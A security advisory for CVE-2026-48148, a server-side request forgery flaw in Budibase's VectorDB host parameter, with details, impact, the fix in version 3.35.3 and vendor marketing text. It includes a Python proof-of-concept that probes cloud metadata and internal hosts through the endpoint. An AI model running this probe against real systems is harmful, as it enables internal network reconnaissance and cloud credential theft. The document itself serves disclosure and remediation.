Summary
Budibase: Unvalidated VectorDB Host Parameter Enables SSRF
The VectorDB configuration endpoint in Budibase accepts a host parameter that undergoes no validation against internal IP ranges, reserved hostnames, or URL schemes. Any authenticated user with builder-level access can supply an arbitrary host value such as 169.254.169.254 or localhost, causing the server to initiate outbound TCP connections to internal network addresses or cloud metadata endpoints on their behalf.
Details
The validator responsible for VectorDB creation and updates defines the host field as Joi.string().required(), which enforces only that the value is a non-empty string. No allowlist of external hostnames, no blocklist of RFC 1918 or link-local ranges, and no scheme validation are applied before the value is forwarded to the database SDK for connection establishment.
When a VectorDB entry is created or updated, the SDK uses the supplied host directly to open a TCP connection. Because the connection attempt originates from the Budibase server process, it traverses internal network boundaries that would otherwise be inaccessible to the attacker. Differences in connection timing and error messages between reachable and unreachable hosts allow an attacker to enumerate internal services and determine whether specific addresses are live. In cloud environments, the AWS EC2 metadata service at 169.254.169.254, the GCP metadata server at metadata.google.internal, and equivalent endpoints for other providers are all reachable this way.
Builder access is a realistic precondition in multi-tenant or team deployments, as the builder role is intended to allow application development without granting administrative privileges over the underlying infrastructure.
PoC
import requests
import time
BASE_URL = "https://TARGET_BUDIBASE_INSTANCE"
SESSION = requests.Session()
login_resp = SESSION.post(f"{BASE_URL}/api/global/auth/default/login", json={
"username": "[email protected]",
"password": "builderpassword"
})
token = login_resp.cookies.get("budibase:auth") or login_resp.json().get("token")
SESSION.headers.update({"Cookie": f"budibase:auth={token}"})
targets = [
("169.254.169.254", 80),
("localhost", 5432),
("10.0.0.1", 22),
]
for host, port in targets:
start = time.time()
resp = SESSION.post(f"{BASE_URL}/api/ai/vectordb", json={
"name": f"probe_{host.replace('.', '_')}_{port}",
"provider": "pgvector",
"host": host,
"port": port,
"database": "db"
})
elapsed = time.time() - start
print(f"host={host} port={port} status={resp.status_code} time={elapsed:.2f}s body={resp.text[:200]}")
Impact
An attacker with builder access can use the Budibase server as a proxy to probe internal network topology, determine which hosts and ports are reachable from the server, and potentially interact with unauthenticated internal services including cloud instance metadata endpoints. In environments where cloud metadata endpoints expose credentials or instance identity documents, successful retrieval of metadata could lead to privilege escalation or lateral movement within the cloud environment. The attack requires no interaction beyond a single authenticated API request per probe target.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-48148? CVE-2026-48148 is a medium-severity server-side request forgery (SSRF) vulnerability in @budibase/server (npm), affecting versions < 3.35.3. It is fixed in 3.35.3. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- Which versions of @budibase/server are affected by CVE-2026-48148? @budibase/server (npm) versions < 3.35.3 is affected.
- Is there a fix for CVE-2026-48148? Yes. CVE-2026-48148 is fixed in 3.35.3. Upgrade to this version or later.
- Is CVE-2026-48148 exploitable, and should I be worried? Whether CVE-2026-48148 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-48148 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-48148? Upgrade
@budibase/serverto 3.35.3 or later.